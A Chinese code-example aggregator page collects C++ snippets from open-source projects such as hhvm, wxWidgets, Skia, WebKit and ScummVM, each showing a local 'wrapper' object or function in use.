这篇教程C++ wrapper函数代码示例写得很实用,希望能帮到您。
本文整理汇总了C++中wrapper函数的典型用法代码示例。如果您正苦于以下问题:C++ wrapper函数的具体用法?C++ wrapper怎么用?C++ wrapper使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。 在下文中一共展示了wrapper函数的25个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于我们的系统推荐出更棒的C++代码示例。 示例1: wrapperbool UserStreamWrapper::touch(const String& path, int64_t mtime, int64_t atime) { auto file = newres<UserFile>(m_cls); Resource wrapper(file); return file->touch(path, mtime, atime);}
开发者ID:Debug-Orz,项目名称:hhvm,代码行数:6,
示例2: assertvoid Worker::operator()(const boost::shared_ptr<Worker> &self){ assert(this == self.get()); { // Before entering the execution, check to see if we are canceled or // blocked. boost::mutex::scoped_lock lock(m_mutex); assert(m_state == STATE_QUEUED); if (m_cancel) { m_state = STATE_CANCELED; m_cancel = false; m_block = false; goto CANCELED; } if (m_block) { m_state = STATE_BLOCKED; m_block = false; return; } unsigned int hpp = m_scheduler.highestPendingWorkerPriority(); if (hpp > m_priority) { m_state = STATE_QUEUED; m_scheduler.schedule(WorkerAdapter(self));#ifdef SMYD_WORKER_UNIT_TEST printf("%s: Priority %u preempted by priority %u/n", description(), m_priority, hpp);#endif return; } m_state = STATE_RUNNING; } { ExecutionWrapper wrapper(self); m_bypassWrapper = false; { // After preparing for the execution but before entering the // execution, check to see if we are updated. boost::mutex::scoped_lock lock(m_mutex); assert(m_state == STATE_RUNNING); if (m_update) { m_update = false; updateInternally(); } } // Enter the execution loop. Check the external requests periodically. for (;;) { bool done = step(); { boost::mutex::scoped_lock lock(m_mutex); assert(m_state == STATE_RUNNING); // Note that we should check to see if we are updated, done, // canceled, blocked or preempted, strictly in that order. if (m_update) { m_update = false; updateInternally(); } else if (done) { m_state = STATE_FINISHED; m_cancel = false; m_block = false; goto FINISHED; } if (m_cancel) { m_state = STATE_CANCELED; m_cancel = false; m_block = false; cancelInternally(); goto CANCELED; } if (m_block) { m_state = STATE_BLOCKED; m_block = false; m_bypassWrapper = true; return; } unsigned int hpp = m_scheduler.highestPendingWorkerPriority(); if (hpp > m_priority) { // FIXME It is possible that multiple low priority workers // are preempted by a higher priority. But actually only // one worker is needed. m_state = STATE_QUEUED; m_bypassWrapper = true; m_scheduler.schedule(WorkerAdapter(self));#ifdef SMYD_WORKER_UNIT_TEST printf("%s: Priority %u preempted by priority %u/n", description(), m_priority, hpp);#endif//.........这里部分代码省略.........
开发者ID:gang-chen,项目名称:samoyed,代码行数:101,
示例3: wrapperBMP_Status OLED::displayBMP(const uint8_t *pgm_addr, const int x, const int y) { _Progmem_wrapper wrapper(pgm_addr); return _displayBMP(wrapper, 0, 0, x, y);}
开发者ID:Bobbs,项目名称:Basic,代码行数:4,
示例4: wrapperwxSizer *wxDialogBase::CreateTextSizer(const wxString& message){ wxTextSizerWrapper wrapper(this); return CreateTextSizer(message, wrapper);}
开发者ID:CustomCardsOnline,项目名称:wxWidgets,代码行数:6,
示例5: countNestedRectsbool SkMaskFilter::filterPath(const SkPath& devPath, const SkMatrix& matrix, const SkRasterClip& clip, SkBounder* bounder, SkBlitter* blitter, SkPaint::Style style) const { SkRect rects[2]; int rectCount = 0; if (SkPaint::kFill_Style == style) { rectCount = countNestedRects(devPath, rects); } if (rectCount > 0) { NinePatch patch; patch.fMask.fImage = NULL; switch (this->filterRectsToNine(rects, rectCount, matrix, clip.getBounds(), &patch)) { case kFalse_FilterReturn: SkASSERT(NULL == patch.fMask.fImage); return false; case kTrue_FilterReturn: draw_nine(patch.fMask, patch.fOuterRect, patch.fCenter, 1 == rectCount, clip, bounder, blitter); SkMask::FreeImage(patch.fMask.fImage); return true; case kUnimplemented_FilterReturn: SkASSERT(NULL == patch.fMask.fImage); // fall through break; } } SkMask srcM, dstM; if (!SkDraw::DrawToMask(devPath, &clip.getBounds(), this, &matrix, &srcM, SkMask::kComputeBoundsAndRenderImage_CreateMode, style)) { return false; } SkAutoMaskFreeImage autoSrc(srcM.fImage); if (!this->filterMask(&dstM, srcM, matrix, NULL)) { return false; } SkAutoMaskFreeImage autoDst(dstM.fImage); // if we get here, we need to (possibly) resolve the clip and blitter SkAAClipBlitterWrapper wrapper(clip, blitter); blitter = wrapper.getBlitter(); SkRegion::Cliperator clipper(wrapper.getRgn(), dstM.fBounds); if (!clipper.done() && (bounder == NULL || bounder->doIRect(dstM.fBounds))) { const SkIRect& cr = clipper.rect(); do { blitter->blitMask(dstM, cr); clipper.next(); } while (!clipper.done()); } return true;}
开发者ID:ConradIrwin,项目名称:gecko-dev,代码行数:61,
示例6: LOG_ERROR void CHttpThread::sendHttp(const CProtocol& protocol) { //LOG_PROTOCOL(protocol); QByteArray postData; // konwertuj protokol do postaci binarnej tablicy QByteArray if (!convertToBinary(postData, protocol)){ // nieprawidlowy format protokolu LOG_ERROR("Sending protocol error. idPackage:", protocol.getIdPackage()); DConnectionResult res(new CConnectionResult(protocol, EConnectionStatus::OUTPUT_PROTOCOL_FORMAT_ERROR)); resultsQueue.push(res); } else { //convertToProtocolDebug(postData); uint16_t crc = NUtil::CCryptography::crc16(postData.constData(), postData.size()); postData.replace(postData.size() - sizeof(crc), sizeof(crc), reinterpret_cast<char*>(&crc), sizeof(crc)); // tworzy tymczasowa petle komunikatow QEventLoop eventLoop; // dla sygnalu QNetworkAccessManager::finished wywolaj QEventLoop::quit QNetworkAccessManager mgr; QObject::connect(&mgr, SIGNAL(finished(QNetworkReply*)), &eventLoop, SLOT(quit())); // HTTP const std::string url = NEngine::CConfigurationFactory::getInstance()->getServerUrl(); QUrl qUrl(url.c_str()); QNetworkRequest req(qUrl); // typ MIME req.setHeader(QNetworkRequest::ContentTypeHeader, QVariant("application/octet-stream")); // wyslij post'a std::shared_ptr<QNetworkReply> reply(mgr.post(req, postData)); eventLoop.exec(); // czekaj QEventLoop::quit (czyli QNetworkAccessManager::finished) if (reply->error() == QNetworkReply::NoError) { //success LOG_DEBUG("Protocol has been sent successfully. idPackage:", protocol.getIdPackage()); CByteWrapper wrapper(reply->readAll()); // wyslanie potwierdzenia zmiany konfiguracji - jesli zmiana odbyla sie bez problemow nie zwraca danych if (wrapper.getSize() > 0) { if (!wrapper.isCRCValid()) { LOG_ERROR("Received protocol error - CRC. idPackage:", protocol.getIdPackage()); DConnectionResult res(new CConnectionResult(protocol, EConnectionStatus::CRC_ERROR)); resultsQueue.push(res); } else { std::shared_ptr<CProtocol> responseProtocol = convertToProtocol(wrapper); // przekonwertuj do struktury if (!responseProtocol) { // blad struktury protokolu LOG_ERROR("Received protocol error. idPackage:", protocol.getIdPackage()); DConnectionResult res(new CConnectionResult(protocol, EConnectionStatus::INPUT_PROTOCOL_FORMAT_ERROR)); resultsQueue.push(res); } else { LOG_DEBUG("Protocol has been received successfully. idPackage:", responseProtocol->getIdPackage()); DConnectionResult res(new CConnectionResult(protocol, responseProtocol, EConnectionStatus::NONE)); resultsQueue.push(res); } } } } else { LOG_ERROR("Protocol sending error. idPackage:", protocol.getIdPackage(), ". Error: ", reply->errorString().toStdString()); DConnectionResult res(new CConnectionResult(protocol, EConnectionStatus::CONNECTION_ERROR)); resultsQueue.push(res); } } }
开发者ID:rafalo235,项目名称:monitoring_hal,代码行数:82,
示例7: wrappervoid TextDrawer::WrapString(std::string &out, const char *str, float maxW) { TextDrawerWordWrapper wrapper(this, str, maxW); out = wrapper.Wrapped();}
开发者ID:AmesianX,项目名称:ppsspp,代码行数:4,
示例8: wrappervoid OLED::drawString_P(int x, int y, const char *str, OLED_Colour foreground, OLED_Colour background){ _FlashStringWrapper wrapper(str); _drawString(this, (void*)this->font, x, y, wrapper, foreground, background);}
开发者ID:gslender,项目名称:arduino-playpen,代码行数:5,
示例9: dummyPtrvoidtestServiceRegistry::externalServiceTest(){ art::AssertHandler ah; { std::unique_ptr<DummyService> dummyPtr(new DummyService); dummyPtr->value_ = 2; art::ServiceToken token(art::ServiceRegistry::createContaining(dummyPtr)); { art::ServiceRegistry::Operate operate(token); art::ServiceHandle<DummyService> dummy; CPPUNIT_ASSERT(dummy); CPPUNIT_ASSERT(dummy.isAvailable()); CPPUNIT_ASSERT(dummy->value_ == 2); } { std::vector<fhicl::ParameterSet> pss; fhicl::ParameterSet ps; std::string typeName("DummyService"); ps.addParameter("service_type", typeName); int value = 2; ps.addParameter("value", value); pss.push_back(ps); art::ServiceToken token(art::ServiceRegistry::createSet(pss)); art::ServiceToken token2(art::ServiceRegistry::createContaining(dummyPtr, token, art::serviceregistry::kOverlapIsError)); art::ServiceRegistry::Operate operate(token2); art::ServiceHandle<testserviceregistry::DummyService> dummy; CPPUNIT_ASSERT(dummy); CPPUNIT_ASSERT(dummy.isAvailable()); CPPUNIT_ASSERT(dummy->value() == 2); } } { std::unique_ptr<DummyService> dummyPtr(new DummyService); std::shared_ptr<art::serviceregistry::ServiceWrapper<DummyService> > wrapper(new art::serviceregistry::ServiceWrapper<DummyService>(dummyPtr)); art::ServiceToken token(art::ServiceRegistry::createContaining(wrapper)); wrapper->get().value_ = 2; { art::ServiceRegistry::Operate operate(token); art::ServiceHandle<DummyService> dummy; CPPUNIT_ASSERT(dummy); CPPUNIT_ASSERT(dummy.isAvailable()); CPPUNIT_ASSERT(dummy->value_ == 2); } { std::vector<fhicl::ParameterSet> pss; fhicl::ParameterSet ps; std::string typeName("DummyService"); ps.addParameter("service_type", typeName); int value = 2; ps.addParameter("value", value); pss.push_back(ps); art::ServiceToken token(art::ServiceRegistry::createSet(pss)); art::ServiceToken token2(art::ServiceRegistry::createContaining(dummyPtr, token, art::serviceregistry::kOverlapIsError)); art::ServiceRegistry::Operate operate(token2); art::ServiceHandle<testserviceregistry::DummyService> dummy; CPPUNIT_ASSERT(dummy); CPPUNIT_ASSERT(dummy.isAvailable()); CPPUNIT_ASSERT(dummy->value() == 2); } }}
开发者ID:gartung,项目名称:fnal-art,代码行数:78,
示例10: wxRichToolTipPopup wxRichToolTipPopup(wxWindow* parent, const wxString& title, const wxString& message, const wxIcon& icon, wxTipKind tipKind, const wxFont& titleFont_) : m_timer(this) { Create(parent, wxFRAME_SHAPED); wxBoxSizer* const sizerTitle = new wxBoxSizer(wxHORIZONTAL); if ( icon.IsOk() ) { sizerTitle->Add(new wxStaticBitmap(this, wxID_ANY, icon), wxSizerFlags().Centre().Border(wxRIGHT)); } //else: Simply don't show any icon. wxStaticText* const labelTitle = new wxStaticText(this, wxID_ANY, ""); labelTitle->SetLabelText(title); wxFont titleFont(titleFont_); if ( !titleFont.IsOk() ) { // Determine the appropriate title font for the current platform. titleFont = labelTitle->GetFont();#ifdef __WXMSW__ // When using themes MSW tooltips use larger bluish version of the // normal font. wxUxThemeEngine* const theme = GetTooltipTheme(); if ( theme ) { titleFont.MakeLarger(); COLORREF c; if ( FAILED(theme->GetThemeColor ( wxUxThemeHandle(parent, L"TOOLTIP"), TTP_BALLOONTITLE, 0, TMT_TEXTCOLOR, &c )) ) { // Use the standard value of this colour as fallback. c = 0x993300; } labelTitle->SetForegroundColour(wxRGBToColour(c)); } else#endif // __WXMSW__ { // Everything else, including "classic" MSW look uses just the // bold version of the base font. titleFont.MakeBold(); } } labelTitle->SetFont(titleFont); sizerTitle->Add(labelTitle, wxSizerFlags().Centre()); wxBoxSizer* const sizerTop = new wxBoxSizer(wxVERTICAL); sizerTop->Add(sizerTitle, wxSizerFlags().DoubleBorder(wxLEFT|wxRIGHT|wxTOP)); // Use a spacer as we don't want to have a double border between the // elements, just a simple one will do. sizerTop->AddSpacer(wxSizerFlags::GetDefaultBorder()); wxTextSizerWrapper wrapper(this); wxSizer* sizerText = wrapper.CreateSizer(message, -1 /* No wrapping */);#ifdef __WXMSW__ if ( icon.IsOk() && GetTooltipTheme() ) { // Themed tooltips under MSW align the text with the title, not // with the icon, so use a helper horizontal sizer in this case. wxBoxSizer* const sizerTextIndent = new wxBoxSizer(wxHORIZONTAL); sizerTextIndent->AddSpacer(icon.GetWidth()); sizerTextIndent->Add(sizerText, wxSizerFlags().Border(wxLEFT).Centre()); sizerText = sizerTextIndent; }#endif // !__WXMSW__ sizerTop->Add(sizerText, wxSizerFlags().DoubleBorder(wxLEFT|wxRIGHT|wxBOTTOM) .Centre()); SetSizer(sizerTop); const int offsetY = SetTipShapeAndSize(tipKind, GetBestSize()); if ( offsetY > 0 ) { // Offset our contents by the tip height to make it appear in the // main rectangle. sizerTop->PrependSpacer(offsetY);//.........这里部分代码省略.........
开发者ID:iokto,项目名称:newton-dynamics,代码行数:101,
示例11: wrapperbool Cexif::DecodeExif(const char *filename, int Thumb){ FileWrapper wrapper(filename, "r"); FILE * hFile = wrapper.handle; if(!hFile) return false; m_exifinfo = new EXIFINFO; memset(m_exifinfo,0,sizeof(EXIFINFO)); freeinfo = true; m_exifinfo->Thumnailstate = Thumb; m_szLastError[0]='/0'; ExifImageWidth = MotorolaOrder = SectionsRead=0; memset(&Sections, 0, MAX_SECTIONS * sizeof(Section_t)); int HaveCom = 0; int a = fgetc(hFile); strcpy(m_szLastError,"EXIF-Data not found"); if (a != 0xff || fgetc(hFile) != M_SOI) return false; for(;;) { int marker = 0; int ll,lh, got, itemlen; unsigned char * Data; if (SectionsRead >= MAX_SECTIONS) { strcpy(m_szLastError,"Too many sections in jpg file"); return false; } for (a=0;a<7;a++) { marker = fgetc(hFile); if (marker != 0xff) break; if (a >= 6) { strcpy(m_szLastError,"too many padding unsigned chars/n"); return false; } } if (marker == 0xff) { strcpy(m_szLastError,"too many padding unsigned chars!"); return false; } Sections[SectionsRead].Type = marker; lh = fgetc(hFile); ll = fgetc(hFile); itemlen = (lh << 8) | ll; if (itemlen < 2) { strcpy(m_szLastError,"invalid marker"); return false; } Sections[SectionsRead].Size = itemlen; Data = (unsigned char *)malloc(itemlen); if (Data == NULL) { strcpy(m_szLastError,"Could not allocate memory"); return false; } Sections[SectionsRead].Data = Data; Data[0] = (unsigned char)lh; Data[1] = (unsigned char)ll; got = fread(Data+2, 1, itemlen-2,hFile); if (got != itemlen-2) { strcpy(m_szLastError,"Premature end of file?"); return false; } SectionsRead += 1; switch(marker) { case M_SOS: return true; case M_EOI: printf("No image in jpeg!/n"); return false; case M_COM: if (HaveCom) { free(Sections[--SectionsRead].Data); Sections[SectionsRead].Data=0; } else { process_COM(Data, itemlen); HaveCom = 1; } break; case M_JFIF: free(Sections[--SectionsRead].Data);//.........这里部分代码省略.........
开发者ID:OpenPE,项目名称:enigma2pc,代码行数:101,
示例12: LoadActions//.........这里部分代码省略......... ++ok_blocks; } int pc=(int)((float)((float)currpos/(float)size)*100.f+0.5f); if(pc!=last_pc) { last_pc=pc; Server->Log("Checking hashfile: "+convert(pc)+"%"); } } if(diff==0) { Server->Log("Hashfile does match"); } Server->Log("Blocks with correct hash: "+convert(ok_blocks)); Server->Log("Different blocks: "+convert(diff)); Server->Log("Wrong differences: "+convert(diff_w)); exit(diff==0?0:7); } std::string device_verify=Server->getServerParameter("device_verify"); if(!device_verify.empty()) { std::auto_ptr<IVHDFile> in(open_device_file(device_verify)); if(in.get()==NULL || in->isOpen()==false) { Server->Log("Error opening Image-File /""+device_verify+"/"", LL_ERROR); exit(4); } int skip=1024*512; FileWrapper wrapper(in.get(), skip); FSNTFS fs(&wrapper, IFSImageFactory::EReadaheadMode_None, false, NULL); if(fs.hasError()) { Server->Log("Error opening device file", LL_ERROR); exit(3); } PrintInfo(&fs); std::string s_hashfile=Server->getServerParameter("hash_file"); if(s_hashfile.empty()) { s_hashfile = device_verify+".hash"; } IFile *hashfile=Server->openFile(s_hashfile, MODE_READ); if(hashfile==NULL) { Server->Log("Error opening hashfile "+s_hashfile); exit(7); } unsigned int ntfs_blocksize=(unsigned int)fs.getBlocksize(); unsigned int vhd_sectorsize=(1024*1024)/2; uint64 currpos=0; uint64 size=fs.getSize(); sha256_ctx ctx; sha256_init(&ctx); int diff=0; int last_pc=0; int mixed=0;
开发者ID:uroni,项目名称:urbackup_backend,代码行数:67,
示例13: ZlibDecompressbool ZlibDecompress(const butil::IOBuf& data, google::protobuf::Message* req) { butil::IOBufAsZeroCopyInputStream wrapper(data); google::protobuf::io::GzipInputStream zlib( &wrapper, google::protobuf::io::GzipInputStream::ZLIB); return ParsePbFromZeroCopyStream(req, &zlib);}
开发者ID:abners,项目名称:brpc,代码行数:6,
示例14: NS_ENSURE_ARGNS_IMETHODIMPnsXFormsControlStub::ResetBoundNode(const nsString &aBindAttribute, PRUint16 aResultType, PRBool *aContextChanged){ NS_ENSURE_ARG(aContextChanged); // Clear existing bound node, etc. *aContextChanged = mBoundNode ? PR_TRUE : PR_FALSE; nsCOMPtr<nsIDOMNode> oldBoundNode; oldBoundNode.swap(mBoundNode); mUsesModelBinding = PR_FALSE; mAppearDisabled = PR_FALSE; mDependencies.Clear(); RemoveIndexListeners(); if (!mHasParent || !mHasDoc || !HasBindingAttribute()) return NS_OK_XFORMS_NOTREADY; nsCOMPtr<nsIDOMXPathResult> result; nsresult rv = ProcessNodeBinding(aBindAttribute, aResultType, getter_AddRefs(result)); if (NS_FAILED(rv)) { nsXFormsUtils::ReportError(NS_LITERAL_STRING("controlBindError"), mElement); return rv; } if (rv == NS_OK_XFORMS_DEFERRED || rv == NS_OK_XFORMS_NOTREADY || !result) { // Binding was deferred, or not bound return rv; } // Get context node, if any if (mUsesModelBinding) { // When bound via @bind, we'll get a snapshot back result->SnapshotItem(0, getter_AddRefs(mBoundNode)); } else { result->GetSingleNodeValue(getter_AddRefs(mBoundNode)); } *aContextChanged = (oldBoundNode != mBoundNode); // Some controls may not be bound to certain types of content. If the content // is a disallowed type, report the error and dispatch a binding exception // event. PRBool isAllowed = IsContentAllowed(); if (!mBoundNode || !isAllowed) { // If there's no result (ie, no instance node) returned by the above, it // means that the binding is not pointing to an instance data node, so we // should disable the control. mAppearDisabled = PR_TRUE; if (!isAllowed) { // build the error string that we want output to the ErrorConsole nsAutoString localName; mElement->GetLocalName(localName); const PRUnichar *strings[] = { localName.get() }; nsXFormsUtils::ReportError( NS_LITERAL_STRING("boundTypeErrorComplexContent"), strings, 1, mElement, mElement); nsXFormsUtils::DispatchEvent(mElement, eEvent_BindingException); } nsCOMPtr<nsIXTFElementWrapper> wrapper(do_QueryInterface(mElement)); NS_ENSURE_STATE(wrapper); PRInt32 iState; GetDisabledIntrinsicState(&iState); return wrapper->SetIntrinsicState(iState); } // Check for presence of @xsi:type on bound node and add as a dependency nsCOMPtr<nsIDOMElement> boundEl(do_QueryInterface(mBoundNode)); if (boundEl) { nsCOMPtr<nsIDOMAttr> attrNode; rv = boundEl->GetAttributeNodeNS(NS_LITERAL_STRING(NS_NAMESPACE_XML_SCHEMA_INSTANCE), NS_LITERAL_STRING("type"), getter_AddRefs(attrNode)); if (NS_SUCCEEDED(rv) && attrNode) { mDependencies.AppendObject(attrNode); } } return NS_OK;}
开发者ID:binoc-software,项目名称:mozilla-cvs,代码行数:89,
示例15: Demo_StartFrame//.........这里部分代码省略......... } break; case M_MIGRATE_ACTIVATE: // TO: Changing server, full state { P->r_u16 (ID); CObject* O = Objects.net_Find (ID); if (0 == O) break; O->net_MigrateActive (*P); if (bDebug) Log("! MIGRATE_ACTIVATE",*O->cName()); } break; case M_CHAT: { char buffer[256]; P->r_stringZ(buffer); Msg ("- %s",buffer); } break; case M_GAMEMESSAGE: { if (!game) break; Game().OnGameMessage(*P); }break; case M_RELOAD_GAME: case M_LOAD_GAME: case M_CHANGE_LEVEL: { if(m_type==M_LOAD_GAME) { string256 saved_name; P->r_stringZ (saved_name); if(xr_strlen(saved_name) && ai().get_alife()) { CSavedGameWrapper wrapper(saved_name); if (wrapper.level_id() == ai().level_graph().level_id()) { Engine.Event.Defer ("Game:QuickLoad", size_t(xr_strdup(saved_name)), 0); break; } } } Engine.Event.Defer ("KERNEL:disconnect"); Engine.Event.Defer ("KERNEL:start",size_t(xr_strdup(*m_caServerOptions)),size_t(xr_strdup(*m_caClientOptions))); }break; case M_SAVE_GAME: { ClientSave (); }break; case M_GAMESPY_CDKEY_VALIDATION_CHALLENGE: { OnGameSpyChallenge(P); }break; case M_AUTH_CHALLENGE: { OnBuildVersionChallenge(); }break; case M_CLIENT_CONNECT_RESULT: { OnConnectResult(P); }break; case M_CHAT_MESSAGE: { if (!game) break; Game().OnChatMessage(P); }break;
开发者ID:OLR-xray,项目名称:OLR-3.0,代码行数:67,
示例16: wrapper void CHttpThread::convertToProtocolDebug(const QByteArray& array) { CByteWrapper wrapper(array); std::shared_ptr<CProtocol> ptr = convertToProtocol(wrapper); LOG_PROTOCOL(*ptr); }
开发者ID:rafalo235,项目名称:monitoring_hal,代码行数:6,
示例17: Opbool Op(const SkPath& one, const SkPath& two, SkPathOp op, SkPath* result) {#if DEBUG_SHOW_TEST_NAME char* debugName = DEBUG_FILENAME_STRING; if (debugName && debugName[0]) { SkPathOpsDebug::BumpTestName(debugName); SkPathOpsDebug::ShowPath(one, two, op, debugName); }#endif op = gOpInverse[op][one.isInverseFillType()][two.isInverseFillType()]; SkPath::FillType fillType = gOutInverse[op][one.isInverseFillType()][two.isInverseFillType()] ? SkPath::kInverseEvenOdd_FillType : SkPath::kEvenOdd_FillType; const SkPath* minuend = &one; const SkPath* subtrahend = &two; if (op == kReverseDifference_PathOp) { minuend = &two; subtrahend = &one; op = kDifference_PathOp; }#if DEBUG_SORT || DEBUG_SWAP_TOP SkPathOpsDebug::gSortCount = SkPathOpsDebug::gSortCountDefault;#endif // turn path into list of segments SkTArray<SkOpContour> contours; // FIXME: add self-intersecting cubics' T values to segment SkOpEdgeBuilder builder(*minuend, contours); const int xorMask = builder.xorMask(); builder.addOperand(*subtrahend); if (!builder.finish()) { return false; } result->reset(); result->setFillType(fillType); const int xorOpMask = builder.xorMask(); SkTArray<SkOpContour*, true> contourList; MakeContourList(contours, contourList, xorMask == kEvenOdd_PathOpsMask, xorOpMask == kEvenOdd_PathOpsMask); SkOpContour** currentPtr = contourList.begin(); if (!currentPtr) { return true; } SkOpContour** listEnd = contourList.end(); // find all intersections between segments do { SkOpContour** nextPtr = currentPtr; SkOpContour* current = *currentPtr++; if (current->containsCubics()) { AddSelfIntersectTs(current); } SkOpContour* next; do { next = *nextPtr++; } while (AddIntersectTs(current, next) && nextPtr != listEnd); } while (currentPtr != listEnd); // eat through coincident edges int total = 0; int index; for (index = 0; index < contourList.count(); ++index) { total += contourList[index]->segments().count(); } HandleCoincidence(&contourList, total); // construct closed contours SkPathWriter wrapper(*result); bridgeOp(contourList, op, xorMask, xorOpMask, &wrapper); { // if some edges could not be resolved, assemble remaining fragments SkPath temp; temp.setFillType(fillType); SkPathWriter assembled(temp); Assemble(wrapper, &assembled); *result = *assembled.nativePath(); result->setFillType(fillType); } return true;}
开发者ID:CodeSpeaker,项目名称:gecko-dev,代码行数:74,
示例18: test_wrappervoid test_wrapper() { void *buf = wrapper(); (void) buf;}//expected-warning{{Potential leak}}
开发者ID:LegalizeAdulthood,项目名称:clang,代码行数:4,
示例19: ASSERTJSObject* JSLazyEventListener::initializeJSFunction(ScriptExecutionContext* executionContext) const{ ASSERT(is<Document>(executionContext)); if (!executionContext) return nullptr; ASSERT(!m_code.isNull()); ASSERT(!m_eventParameterName.isNull()); if (m_code.isNull() || m_eventParameterName.isNull()) return nullptr; Document& document = downcast<Document>(*executionContext); if (!document.frame()) return nullptr; if (!document.contentSecurityPolicy()->allowInlineEventHandlers(m_sourceURL, m_sourcePosition.m_line)) return nullptr; ScriptController& script = document.frame()->script(); if (!script.canExecuteScripts(AboutToExecuteScript) || script.isPaused()) return nullptr; JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(executionContext, isolatedWorld()); if (!globalObject) return nullptr; VM& vm = globalObject->vm(); JSLockHolder lock(vm); auto scope = DECLARE_CATCH_SCOPE(vm); ExecState* exec = globalObject->globalExec(); MarkedArgumentBuffer args; args.append(jsNontrivialString(exec, m_eventParameterName)); args.append(jsStringWithCache(exec, m_code)); // We want all errors to refer back to the line on which our attribute was // declared, regardless of any newlines in our JavaScript source text. int overrideLineNumber = m_sourcePosition.m_line.oneBasedInt(); JSObject* jsFunction = constructFunctionSkippingEvalEnabledCheck( exec, exec->lexicalGlobalObject(), args, Identifier::fromString(exec, m_functionName), m_sourceURL, m_sourcePosition, overrideLineNumber); if (UNLIKELY(scope.exception())) { reportCurrentException(exec); scope.clearException(); return nullptr; } JSFunction* listenerAsFunction = jsCast<JSFunction*>(jsFunction); if (m_originalNode) { if (!wrapper()) { // Ensure that 'node' has a JavaScript wrapper to mark the event listener we're creating. // FIXME: Should pass the global object associated with the node setWrapper(vm, asObject(toJS(exec, globalObject, *m_originalNode))); } // Add the event's home element to the scope // (and the document, and the form - see JSHTMLElement::eventHandlerScope) listenerAsFunction->setScope(vm, jsCast<JSNode*>(wrapper())->pushEventHandlerScope(exec, listenerAsFunction->scope())); } return jsFunction;}
开发者ID:eocanha,项目名称:webkit,代码行数:65,
示例20: wrapperint Font::wordWrapText(const Common::String &str, int maxWidth, Common::Array<Common::String> &lines) const { WordWrapper wrapper(lines); Common::String line; Common::String tmpStr; int lineWidth = 0; int tmpWidth = 0; // The rough idea behind this algorithm is as follows: // We accumulate characters into the string tmpStr. Whenever a full word // has been gathered together this way, we 'commit' it to the line buffer // 'line', i.e. we add tmpStr to the end of line, then clear it. Before // we do that, we check whether it would cause 'line' to exceed maxWidth; // in that case, we first add line to lines, then reset it. // // If a newline character is read, then we also add line to lines and clear it. // // Special care has to be taken to account for 'words' that exceed the width // of a line. If we encounter such a word, we have to wrap it over multiple // lines. uint last = 0; for (Common::String::const_iterator x = str.begin(); x != str.end(); ++x) { const byte c = *x; const int w = getCharWidth(c) + getKerningOffset(last, c); last = c; const bool wouldExceedWidth = (lineWidth + tmpWidth + w > maxWidth); // If this char is a whitespace, then it represents a potential // 'wrap point' where wrapping could take place. Everything that // came before it can now safely be added to the line, as we know // that it will not have to be wrapped. if (Common::isSpace(c)) { line += tmpStr; lineWidth += tmpWidth; tmpStr.clear(); tmpWidth = 0; // If we encounter a line break (/n), or if the new space would // cause the line to overflow: start a new line if (c == '/n' || wouldExceedWidth) { wrapper.add(line, lineWidth); continue; } } // If the max line width would be exceeded by adding this char, // insert a line break. if (wouldExceedWidth) { // Commit what we have so far, *if* we have anything. // If line is empty, then we are looking at a word // which exceeds the maximum line width. if (lineWidth > 0) { wrapper.add(line, lineWidth); // Trim left side while (tmpStr.size() && Common::isSpace(tmpStr[0])) { tmpStr.deleteChar(0); // This is not very fast, but it is the simplest way to // assure we do not mess something up because of kerning. tmpWidth = getStringWidth(tmpStr); } } else { wrapper.add(tmpStr, tmpWidth); } } tmpWidth += w; tmpStr += c; } // If some text is left over, add it as the final line line += tmpStr; lineWidth += tmpWidth; if (lineWidth > 0) { wrapper.add(line, lineWidth); } return wrapper.actualMaxLineWidth;}
开发者ID:CatalystG,项目名称:scummvm,代码行数:78,
示例21: operator//.........这里部分代码省略......... EquationType weak_form_general = viennafem::make_weak_form(pde_system.pde(0)); #ifdef VIENNAFEM_DEBUG std::cout << "* pde_solver::operator(): Using weak form general: " << weak_form_general << std::endl; #endif std::vector<EquationType> temp(1); temp[0] = weak_form_general; log_weak_form(temp, pde_system); EquationType weak_form = viennamath::apply_coordinate_system(viennamath::cartesian< PointType::dim >(), weak_form_general); //EquationType weak_form = viennamath::apply_coordinate_system(viennamath::cartesian<Config::coordinate_system_tag::dim>(), weak_form_general); temp[0] = weak_form; log_coordinated_weak_form(temp, pde_system); #ifdef VIENNAFEM_DEBUG std::cout << "* pde_solver::operator(): Using weak form " << weak_form << std::endl; std::cout << "* pde_solver::operator(): Write dt_dx coefficients" << std::endl; #endif typedef typename reference_cell_for_basis<CellTag, viennafem::lagrange_tag<1> >::type ReferenceCell; // // Create accessors for performance in the subsequent dt_dx_handler step // //viennafem::dtdx_assigner<DomainType, StorageType, ReferenceCell>::apply(domain, storage); viennafem::dt_dx_handler<DomainType, StorageType, ReferenceCell> dt_dx_handler(domain, storage); //fill with cell quantities CellContainer cells = viennagrid::elements<CellType>(domain); for (CellIterator cell_iter = cells.begin(); cell_iter != cells.end(); ++cell_iter) { //cell_iter->print_short(); //viennadata::access<example_key, double>()(*cell_iter) = i; //viennafem::dt_dx_handler<ReferenceCell>::apply(storage, *cell_iter); dt_dx_handler(*cell_iter); } #ifdef VIENNAFEM_DEBUG std::cout << "* pde_solver::operator(): Create Mapping:" << std::endl; #endif std::size_t map_index = create_mapping(storage, pde_system, domain); #ifdef VIENNAFEM_DEBUG std::cout << "* pde_solver::operator(): Assigned degrees of freedom in domain so far: " << map_index << std::endl; #endif // resize global system matrix and load vector if needed: // TODO: This can be a performance bottleneck for large numbers of segments! (lots of resize operations...) if (map_index > system_matrix.size1()) { MatrixT temp = system_matrix; ////std::cout << "Resizing system matrix..." << std::endl; system_matrix.resize(map_index, map_index, false); system_matrix.clear(); system_matrix.resize(map_index, map_index, false); for (typename MatrixT::iterator1 row_it = temp.begin1(); row_it != temp.end1(); ++row_it) { for (typename MatrixT::iterator2 col_it = row_it.begin(); col_it != row_it.end(); ++col_it) system_matrix(col_it.index1(), col_it.index2()) = *col_it; } } if (map_index > load_vector.size()) { VectorT temp = load_vector; #ifdef VIENNAFEM_DEBUG std::cout << "Resizing load vector..." << std::endl; #endif load_vector.resize(map_index, false); load_vector.clear(); load_vector.resize(map_index, false); for (std::size_t i=0; i<temp.size(); ++i) load_vector(i) = temp(i); } #ifdef VIENNAFEM_DEBUG std::cout << "* pde_solver::operator(): Transform to reference element" << std::endl; #endif EquationType transformed_weak_form = viennafem::transform_to_reference_cell<CellType>(storage, weak_form, pde_system); 